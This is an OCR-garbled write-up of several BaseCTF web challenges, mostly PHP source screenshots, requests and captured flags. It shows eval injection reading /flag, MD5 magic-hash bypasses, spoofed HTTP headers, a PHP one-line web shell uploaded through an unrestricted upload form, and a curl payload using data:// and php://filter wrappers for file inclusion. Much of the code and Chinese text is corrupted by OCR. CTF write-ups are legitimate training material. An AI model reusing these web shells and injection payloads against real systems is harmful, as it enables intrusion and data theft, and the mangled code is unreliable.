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1,7 system EEINIT Shell sn<, tLAIAER echo file_get_contents('/flag');

(G & FKL challenge.imxbt.cn:32369

{?php

highlight file( FILE );
error_reporting(0) ;

$a = $ GET['DT']:

eval ($a) :

>



C A FR2 challenge.imxbt.cn:30828/2DT=var_dump(scandir(%27/%27));

<2php
highlight_file(_FILE_)
error_reporting(0) ;

Sa = $_GET['DT']

eval ($a)

2> array(22) { [0]=>string(1) "." [1]=> string(2)

" [2]=> string(3) "bin" [3]=> string(4) "boot" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(4) "flag" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "lib64"

[10]=> string(5) "media" [11]=> string(3) "mnt" [12]=> string(3) "opt" [13]=> string(4) "proc" [14]=> string(4) "root" [15]=> string(3) "run" [16]=> string(4) "sbin" [17]=> string(3) "srv" [18]=> string(3) "sys" [19]=> string(3)

"tmp" [20]=> string(3) "usr" [21]=> string(3) "var" }

O & FE2 challenge.imxbt.cn:30828/?DT=readfile(%27/flag%27);

<?php

highlight file(_FILE );

error_reporting(ﬁ);
Sa = $ CGET[’DT I:

eval ($a)

2> BaseCTF{b7ba4b8d-d175-4283-b040-6bea33f36f23}

4

— ,MD5%5%3

1,MiEpayload k1% GET B4{URL Efname Fname2#] POST SR B E M passwordFll

password?2

C | AFRE challengeimxbt.cn:31793

<2php

highlight file(_FILE_)
error_reporting(0) ;
requ: flag. php’ ;

if (isset(3_GET['name’]) &k isset($_POST[ password’]) & isset($_GET[ name2’])

Sname = $_GET[ name’];

Sname2 = $_GET[ name2'];

Spassword = §_POSTL' password’ ]

Spassword2 = $_POST[ password2’ ]

if (Sname != Spassword & md5($name) nd5 ($password)) {

if  (Sname2 Spassword? & md5 ($name2)
echo $flag;

else{

echo "THEEM, T LLeidw 7

echo "M

echo " BAEISHW

2 REFISHIA

2, flagfttEE

BaseCTF{077b2fb2-791f-4124-9e60-e808f301c820}

isset ($_POST[’ password2’ J)

md5 ($password2) )

) 8=
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e

VFHIM

> fetch(*http://challenge. imxbt .cn:31793/ name=QNKCDZO&name2[1=1°, {

method: 'POST', headers: {'Content-Type': ‘application/x-w-form-
urlencoded'}, body: 'password=240610708&password2[]=2" }).then(response
=> response.text()).then(data => console.log(data));

& ® Promise {<pendings}

<code><span style="color: #000000"> Vi69:1
<span style="color: #0@0BB">&1t;php<br />h'ghhght file</span><span
style="color: #007700">(</span><span style="col

#0000BB">__FILE__</span><span style="color: uae77oa ">)3<br /></span><span
olor: #000@BB">error_reporting</span><span style="color:
#007700">(</span><span style="color: #9000BB">0</span><span style="color:
#007700">) ;<br />requirelnbsp; </span><span style="color:

#000000">" FLag. php' </span><span sty "color: #007700">;<br /><br

olor: #DD@0G">"name’</span>
isset(</span><sp:
style="color: #@00@BB">$_POST</span><span style="color: #007700">[</span>
<span style="color: #DD0@O@">'password’</span><span style="color:
#007700">] )&nbsp; &amp; &amp; &nbsp; isset (</span><span styl
#0000BB">$_GET</Span><span style="color: #207700">[</span><span
style="color: #DD000G">'name2"</span><span style="color:
#007700">] )&nbsp; &amp; &amp; &nbsp; isset (</span><span style="color:
#00OOBB">$_POST</span><span style="color: #007700">[</span><span
style="color: #DD0@0G">'password2'</span><span style="color:
#007700">])&nbsp; ) {<br />&nb: </
style="color: #600085" >$nane&nbsp; </spans<span style"color:
#007700">=&nbsp; </span><span style="color: #0000BB">$_GET</span><span
style="color: #007700">[</span><span style="color: #DD0@@@">'name'</span>
<span style="color: #007700">];<br / </span><sp

style="color: #0000BB">$name2&nbsp;</span><span style="color
#007700">=&nbsp; </span><span style="color: #0000BB">$_GET</span><span
style="color: #007700">[</span><span style="color:

#DD00OO" > name2'</span><span styl

‘color: #007700"
</sp style="color:

#0000BB" >$password&nbsp,</span><5pan style="color: #007760">=&nbsp;
</span><span style="color: #8000BB">$_POST</span><span style="color:
#007700">[</span><span style="color: #DDE0@0">"password'</span><span
olor: #007700">];<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span
olor: #0000BB">$password2&nbsp;</span><span style="color:
">=&nbsp; </span><span style="color: #80@eBB">$_POST</span><span




=,HTTP 2t 4iF
1IRTANRZ T , Ebp BB EENA]

@ B\ERW HTTP

Content-Type: application/x-www-form-urlencoded
Content-Length: 9

5 Base=flfg

A 722 challenge.imxbt.cn:31666 A
BEITEIHTTP
poil=] {RREFEN ELTIEDNE] ZEER
X (B URL ¥
GET 2 basectf  welc%00me y ¢
X)
POST 8 Base fleg X
Cookie ceek13 icanteatit X
FARRER (User- B Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 x
ase
Agent) Safari/537.36 Edg/142.0.0.0
KB (Referer) Base X
1REY IP 127.0.0.1 10.10.235.192 X
—RMETR SBIWFEE v
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn
1 X +
| m & Follow redirection +% Burp Al Target: h
ﬂ Slw Inspe
Request Response
Pretty Raw Hex N n = Pretty Raw Hex ende \n = Reque:
1 POST /?basectf=welc%2500me HTTP/L.1 1 HTTP/1l.1 302 Found
2 Host: challenge.imxbt.cn:31E66 Server: nginx/l1.18.0 Reque‘
3 Accept-Language: zh-CN,zh;q=0.9 Date: Sun, 02 Now 2025 15:12:28 GMT
4 Upgrade-Insecure-Requests: 1 Content-Type: text/html: charset=UTF-8
S5 User-Agent: Base Connection: keep-alive Reque:
€ Accept: X-Powered-By: PHP/7.4.27
text/htal, application/xhtnl+xnl, application/xmnl;q=0.9, inage/avif, inage/webp, inage 7 Location:
/apng,*/*:q=0.8,application/signed-exchange;v=b3;q=0.7 success.php?flag=0nFzZUNURNS3ZWYZN)YSZCOYNDAOLTQLIMDAtYTU4Zi ImMWJ JMWN1NnUzN] 1SCg= Reque
7 Accept-Encoding: gzip, deflate, br =
Connection: keep-alive Content-Length: 0
Cookil can't eat it Reque:
10 Referer: Base 10
1 X-Forwarded-For: 127.0.0.1 Respo



2,base64fRE TR T

basef#rg

base16, base32, base64

QmEzZUNURNS3ZWY2N jY57COyNDAQLTQIMDAYTUAZ i ImMW ] JMININmUzZN {19Ce==

@F3  baseb4 FIHE utf8(unicodelRB)

BaseCTF {7ef6669d-2404-4500-a58f-f1bclcebe369}

9,Dark Room



1, ERTERAEFHElag

< (C A FRE2 challengeimxbt.cn:30686
O . .
BIRREA. K | EEigAA
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BRI,

WLl 121l SLyleslivel LYR=™ LEALS L3S LWIEL™T La3s/ spaLe. Las s
{link rel="stylesheet” type="text/css” href="css/fabricator.css” />

{script src="script/localization. js”></script>

¢/head>
<body>
{div id="wrapper”>
{div id="saveNotify " ><{script>document. write( ("saved.”));</script><{/div>
{div id="content”>
<div id="outerSlider”>
{div id="main”>
{div id="header”></div>
<Adivy
</div>
/div>
<Sdivy
{1-— FLAG: BaseCTF {4a36838a-a7ed-49f6-b93b-995ff456c4af} —>
</body>
</html>

+,upload
1,1t L& BE—0IERD, WO EE b Hflag

<?php eval($_POST[O]);

k)



U | & FRE challenge.imxbt.cn:31605

{?php

error_reporting(0) :

if (isset($_FILES[ file'1)) |
highlight file( FILE );
$file = § FILES[ file'1;

$filename = $filel name’]:
$filetype = $filel type’];
$filesize = $file[ size 1;
$filetmp = $filel’ tmp_name’ 1;
$fileerror = $filel error 1;
if ($fileerror === 0) {
Sdestination = uploads/’ . $filename;

move_uploaded file($filetmp, 3$destination);
echo 'File uploaded successfully ;
} else |
echo 'Error uploading file’ ;
}
1
I

>
<!DOCTYPE html>
¢html  lang="en”>

<head>
{meta charset="UTF-8">
{meta name="viewport” content="width=device-width, initial-scale=1.0">
Gitled BAERERMERIE! </title>

¢/head>

<body>
{form action="" method="post” enctype="multipart/form-data”>
{input type="file” name="file”>
<button type="submit”> 1&! (/button>

</form>
<?php
§files = scandir( uploads’);
foreach ($files as $file) {
if ($file == .7 || $file == '..7) {
continue;
1
}
echo “<{img src= uploads/$file’ style=\"max-height: 200px:\” />7";
1
!
>
/body>

</ntml> File uploaded successfully
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M %ifii: /flag

[flag

1 BaseCTF{43eeeca2-8e4e-458f-bcc5-b956ab9d43d7}
2

75, Aura 895l



1,5 FHE—DFIE, AT U@ datafA il R#HITIREY
C & FE2 challenge.imxbt.cn:31013

<?php
highlight file(_FILE );

Spen = § POST[ pen’ ]:

if (file get contents($pen) !== ’Aura’)
I

1

die(C X2 Aura ALY, RAE  Aura! ')

$challenge = $ POST[ challenge’]:
if (strpos(Schallenge, ’http://jasmineaura.github.io’)
i

L

die(C IXAE Aura MR 7))

Sblog content = file get contents(Schallenge) :

if (strpos(Sblog_content, Wi F|Kengwangft14L4Wi" )
I

L

dieC i E LS FEAER ),

Sgift = § POSTL gift'l: _
include (Sgift) : X2 Aura B91L4, {RAF2 Aura!

false)

2,56 ZMNHIBTE =AY SstrposFifile_get contents¥t URL fRTMIE R

3, &x&&includeX B{ERMphp:/filter{tHY
4, =GR L MEER payload®l & E—ite, TEcmd R A curliliT



C:\Users\zhang>curl -X POST -d "pen=data://text/plain,Aura" -d "challenge=http://jasmineaura.github.io@127.0.0.1" -d "gi
ft=php://filter/convert.base6ld-encode/resource=flag.php" "http://challenge.imxbt.cn:31013"
<code><span style="color: #000000">
<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style=
<br /></span><span style="color: #000OBB">$pen&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color
: #00OOBB">$_P0ST</span><span style="color: #007700">[</span><span style="color: #DDOBGO">'pen'</span><span style="color
<br />if&nbsp;(</span><span style="color: #00OOBB">file_get_contents</span><span style="color: #007700">(</span><span st
yle="color: #B0@EBB">$pen</span><span style="color: #0807700">)&nbsp;!==8nbsp;</span><span style="color: #DDOOAO">'Aura'<
<br />&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DDOAEO">']X Z &nbsp;Aura&nbsp;fI+L¥, {RAZ&nbsp;Aura! '</
<br /></span><span style="color: #0000BB">$challenge&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style=
"color: #OOOOBB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0GEA">'challenge'</span><span
<br />if&nbsp;(</span><span style="color: #000OBB">strpos</span><span style="color: #007700">(</span><span style="color:
#000OBB">$challenge</span><span style="color: #007700">,6&nbsp;</span><span style="color: #DDOEA">'http://jasmineaura.g
ithub.io'</span><span style="color: #007700">)&nbsp;!==&nbsp;</span><span style="color: #0000BB">0</span><span style="co
<br />&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DDOOOO">'iXAZ &nbsp;Aura&nbsp;fifEZ=! '</span><span style
<br /></span><span style="color: #08000BB">$blog_content&nbsp;</span><span style="color: #007700">=&nbsp;</span><span sty
le="color: #00OOBB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$challenge
<br />if&nbsp;(</span><span style="color: #000OBB">strpos</span><span style="color: #007700">(</span><span style="color:
#00BOBB">$blog_content</span><span style="color: #007700">,6&nbsp;</span><span style="color: #DDREEA">'E £ I Fl|Kengwang
B 4L ¥ M ' </span><span style="color: #007700">)&nbsp;===&nbsp;</span><span style="color: #000OBB">false</span><span style
<br />&nbsp;&nbsp;&nbsp;&nbsp;die(</span><span style="color: #DDEEEE">'IEXEEZEHEE T/ B ~'</span><span style="color
<br /></span><span style="color: #FF8000">//&nbsp;IZIE, FETREIRFFILYM, HHESFR, M) #£ &nbsp ; flag . php&nbsp ; BB & B
<br /></span><span style="color: #0000BB">$gift&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="colo
r: #00OOBB">$_POST</span><span style="color: #007700">[</span><span style="color: #DDOOEO">'gift'</span><span style="col
<br />include(</span><span style="color: #000OBB">$gift</span><span style="color: #007700">);</span>
</span>
</code>PD9waHAgLy8gQmFzZUNURNt jYTIyMzRhNSOwOGEWLTQ5ZGItYWUINS1hZWEZzY2Yx0DM30GN9ICBBdXJhIOmFseacieal v+HWIs0SU4g0ihgOWQL++8n
wo=
C:\Users\zhang>

J#F3— TFbaseb4FLHK T
baseZmfs
base16, base32, base64

PD9waHAgLy8gQmFzZUNURNt jYTIyMzRhNSOWOGEWLTQ5ZGI tYWUINS1hZWEZY2YxODM30GN9ICBBdX ThIOmFseaciealv+1s0S420ihe0WQ] ++8nwo=

#%E3  baseb64 FAE  utf8(unicodefRES)

(?php // BaseCTF {ca2234a5-08a0-49db-ae55-aea3cf18378¢c} Aura #5{ 53

cC



